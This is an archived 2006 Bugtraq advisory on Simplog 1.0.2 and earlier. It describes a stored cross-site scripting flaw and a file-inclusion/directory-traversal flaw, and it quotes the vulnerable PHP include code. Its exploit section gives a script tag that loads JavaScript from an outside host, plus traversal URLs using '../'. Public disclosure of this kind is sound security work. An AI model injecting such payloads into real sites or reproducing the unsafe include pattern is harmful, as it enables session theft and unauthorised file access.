bugtraq - Simplog <= 1.0.2 Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060304174640.9234.qmail@securityfocus.com>
Date: 4 Mar 2006 17:46:40 -0000
From: retard@...igs.com
To: bugtraq@...urityfocus.com
Subject: Simplog <= 1.0.2 Vulnerabilities


ORIGIONAL SOURCE: http://notlegal.ws/simplogsploit.txt

——–summary
	software: simplog
	vendors website: http://daverave.64digits.com/home.php?page=simplog
	versions: <= 1.0.2
	class: remote
	status: unpatched
	exploit: available
	solution: not available
	discovered by: retard and jim
	risk level: medium

——– description
	simplog does not sanatise blog posts allowing users to insert
	html into posts causing a xss vulnerability. also, the application
	uses global variables for includes allowing users to include 
	other .txt files than the inteded target
	
	in index.php:
42	$act = $_GET['act']; 
43	if ($act == '')
44	{
45	include("blog.txt");
46	}
47	else
48	{
49	include("act/$act.txt");
50	} 

——– exploit(s)
	xss:
	make any of your blog posts contain a script like below
	<SCRIPT SRC=http://notlegal.ws/xss.js></SCRIPT>

	directory transversal:
	http://example.com/index.php?act=blog&blogid=../somefile
	http://example.com/index.php?act=../somefile

——– credit
	author(s): retard and jim
	email: retard@...igs.com